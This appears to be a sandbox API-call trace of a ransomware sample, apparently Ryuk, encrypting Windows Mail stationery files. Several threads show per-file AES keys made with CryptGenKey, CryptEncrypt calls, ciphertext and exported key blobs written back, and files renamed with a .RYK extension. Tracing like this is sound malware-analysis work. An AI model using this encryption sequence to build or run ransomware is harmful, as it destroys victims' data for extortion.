	[0275.394] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3438
	os_tid = 0x3aa8

	[0269.642] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", dwFileAttributes=0x80) returned 1
	[0270.150] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9bc
	[0270.151] GetFileSizeEx (in: hFile=0x9bc, lpFileSize=0x93dfb98 | out: lpFileSize=0x93dfb98*=514) returned 1
	[0270.151] GetFileSizeEx (in: hFile=0x9bc, lpFileSize=0x93dfba8 | out: lpFileSize=0x93dfba8*=514) returned 1
	[0270.151] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0270.151] ReadFile (in: hFile=0x9bc, lpBuffer=0x93dfbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93dfb60, lpOverlapped=0x0 | out: lpBuffer=0x93dfbf0*, lpNumberOfBytesRead=0x93dfb60*=0x19, lpOverlapped=0x0) returned 1
	[0270.184] CloseHandle (hObject=0x9bc) returned 1
	[0270.185] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm.ryk"), dwFlags=0x8) returned 1
	[0270.272] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3439
	os_tid = 0x3aac

	[0269.643] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", dwFileAttributes=0x80) returned 1
	[0270.149] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa24
	[0270.150] GetFileSizeEx (in: hFile=0xa24, lpFileSize=0x959f598 | out: lpFileSize=0x959f598*=5394) returned 1
	[0270.150] GetFileSizeEx (in: hFile=0xa24, lpFileSize=0x959f5a8 | out: lpFileSize=0x959f5a8*=5394) returned 1
	[0270.150] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x13f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0270.150] ReadFile (in: hFile=0xa24, lpBuffer=0x959f5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x959f560, lpOverlapped=0x0 | out: lpBuffer=0x959f5f0*, lpNumberOfBytesRead=0x959f560*=0x19, lpOverlapped=0x0) returned 1
	[0270.181] CloseHandle (hObject=0xa24) returned 1
	[0270.182] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg.ryk"), dwFlags=0x8) returned 1
	[0270.194] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3440
	os_tid = 0x3ab0

	[0269.643] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", dwFileAttributes=0x80) returned 1
	[0270.148] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28
	[0270.149] GetFileSizeEx (in: hFile=0xa28, lpFileSize=0x979f7b8 | out: lpFileSize=0x979f7b8*=514) returned 1
	[0270.149] GetFileSizeEx (in: hFile=0xa28, lpFileSize=0x979f7c8 | out: lpFileSize=0x979f7c8*=514) returned 1
	[0270.149] SetFilePointerEx (in: hFile=0xa28, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0270.149] ReadFile (in: hFile=0xa28, lpBuffer=0x979f810, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x979f780, lpOverlapped=0x0 | out: lpBuffer=0x979f810*, lpNumberOfBytesRead=0x979f780*=0x19, lpOverlapped=0x0) returned 1
	[0270.179] CloseHandle (hObject=0xa28) returned 1
	[0270.179] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm.ryk"), dwFlags=0x8) returned 1
	[0270.259] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3441
	os_tid = 0x3ab4

	[0269.644] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", dwFileAttributes=0x80) returned 1
	[0270.148] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa2c
	[0270.148] GetFileSizeEx (in: hFile=0xa2c, lpFileSize=0x99cf6b8 | out: lpFileSize=0x99cf6b8*=2210) returned 1
	[0270.148] GetFileSizeEx (in: hFile=0xa2c, lpFileSize=0x99cf6c8 | out: lpFileSize=0x99cf6c8*=2210) returned 1
	[0270.148] SetFilePointerEx (in: hFile=0xa2c, liDistanceToMove=0x780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0270.148] ReadFile (in: hFile=0xa2c, lpBuffer=0x99cf710, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x99cf680, lpOverlapped=0x0 | out: lpBuffer=0x99cf710*, lpNumberOfBytesRead=0x99cf680*=0x19, lpOverlapped=0x0) returned 1
	[0270.176] CloseHandle (hObject=0xa2c) returned 1
	[0270.177] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg.ryk"), dwFlags=0x8) returned 1
	[0270.263] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3442
	os_tid = 0x3ab8

	[0269.866] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", dwFileAttributes=0x80) returned 1
	[0275.358] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8
	[0275.359] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0xa35f7b8 | out: lpFileSize=0xa35f7b8*=237) returned 1
	[0275.359] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0xa35f7c8 | out: lpFileSize=0xa35f7c8*=237) returned 1
	[0275.359] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xa35f798 | out: phKey=0xa35f798*=0x2b8ff0) returned 1
	[0275.359] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.359] ReadFile (in: hFile=0x9a8, lpBuffer=0x3790000, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0xa35f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesRead=0xa35f7a4*=0xed, lpOverlapped=0x0) returned 1
	[0275.362] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa35f7a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa35f7a0*=0xf4250) returned 1
	[0275.362] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3790000*, pdwDataLen=0xa35f7a8*=0xed, dwBufLen=0xf4250 | out: pbData=0x3790000*, pdwDataLen=0xa35f7a8*=0xf0) returned 1
	[0275.362] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.362] WriteFile (in: hFile=0x9a8, lpBuffer=0x3790000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xa35f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesWritten=0xa35f7a4*=0xf0, lpOverlapped=0x0) returned 1
	[0275.362] WriteFile (in: hFile=0x9a8, lpBuffer=0xa35f7d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa35f7b0, lpOverlapped=0x0 | out: lpBuffer=0xa35f7d0*, lpNumberOfBytesWritten=0xa35f7b0*=0x6, lpOverlapped=0x0) returned 1
	[0275.362] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa35f7c0 | out: pbData=0x0*, pdwDataLen=0xa35f7c0*=0x10c) returned 1
	[0275.362] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xa35f830, pdwDataLen=0xa35f7c0 | out: pbData=0xa35f830*, pdwDataLen=0xa35f7c0*=0x10c) returned 1
	[0275.362] WriteFile (in: hFile=0x9a8, lpBuffer=0xa35f830*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa35f7b0, lpOverlapped=0x0 | out: lpBuffer=0xa35f830*, lpNumberOfBytesWritten=0xa35f7b0*=0x10c, lpOverlapped=0x0) returned 1
	[0275.363] CloseHandle (hObject=0x9a8) returned 1
	[0275.370] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0275.371] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3455
	os_tid = 0x3aec

	[0269.866] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", dwFileAttributes=0x80) returned 1
	[0275.331] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8
	[0275.332] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x9defb78 | out: lpFileSize=0x9defb78*=4734) returned 1
	[0275.332] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x9defb88 | out: lpFileSize=0x9defb88*=4734) returned 1
	[0275.333] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x115c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.333] ReadFile (in: hFile=0x9a8, lpBuffer=0x9defbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9defb40, lpOverlapped=0x0 | out: lpBuffer=0x9defbd0*, lpNumberOfBytesRead=0x9defb40*=0x19, lpOverlapped=0x0) returned 1
	[0275.336] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.336] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9defb58 | out: phKey=0x9defb58*=0x2b9140) returned 1
	[0275.336] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.336] ReadFile (in: hFile=0x9a8, lpBuffer=0x3890000, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x9defb64, lpOverlapped=0x0 | out: lpBuffer=0x3890000*, lpNumberOfBytesRead=0x9defb64*=0x127e, lpOverlapped=0x0) returned 1
	[0275.338] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9defb60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9defb60*=0xf4250) returned 1
	[0275.338] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3890000*, pdwDataLen=0x9defb68*=0x127e, dwBufLen=0xf4250 | out: pbData=0x3890000*, pdwDataLen=0x9defb68*=0x1280) returned 1
	[0275.338] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.338] WriteFile (in: hFile=0x9a8, lpBuffer=0x3890000*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x9defb64, lpOverlapped=0x0 | out: lpBuffer=0x3890000*, lpNumberOfBytesWritten=0x9defb64*=0x1280, lpOverlapped=0x0) returned 1
	[0275.339] WriteFile (in: hFile=0x9a8, lpBuffer=0x9defb90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9defb70, lpOverlapped=0x0 | out: lpBuffer=0x9defb90*, lpNumberOfBytesWritten=0x9defb70*=0x6, lpOverlapped=0x0) returned 1
	[0275.339] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9defb80 | out: pbData=0x0*, pdwDataLen=0x9defb80*=0x10c) returned 1
	[0275.339] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9defbf0, pdwDataLen=0x9defb80 | out: pbData=0x9defbf0*, pdwDataLen=0x9defb80*=0x10c) returned 1
	[0275.339] WriteFile (in: hFile=0x9a8, lpBuffer=0x9defbf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9defb70, lpOverlapped=0x0 | out: lpBuffer=0x9defbf0*, lpNumberOfBytesWritten=0x9defb70*=0x10c, lpOverlapped=0x0) returned 1
	[0275.340] CloseHandle (hObject=0x9a8) returned 1
	[0275.349] CryptDestroyKey (hKey=0x2b9140) returned 1
	[0275.350] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3456
	os_tid = 0x3af0

	[0269.867] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", dwFileAttributes=0x80) returned 1
	[0270.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8
	[0270.833] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0xa4cfc38 | out: lpFileSize=0xa4cfc38*=232) returned 1
	[0270.833] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0xa4cfc48 | out: lpFileSize=0xa4cfc48*=232) returned 1
	[0270.833] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xa4cfc18 | out: phKey=0xa4cfc18*=0x2b8f80) returned 1
	[0270.833] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.833] ReadFile (in: hFile=0x9a8, lpBuffer=0x3b90000, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0xa4cfc24, lpOverlapped=0x0 | out: lpBuffer=0x3b90000*, lpNumberOfBytesRead=0xa4cfc24*=0xe8, lpOverlapped=0x0) returned 1
	[0270.835] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa4cfc20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa4cfc20*=0xf4250) returned 1
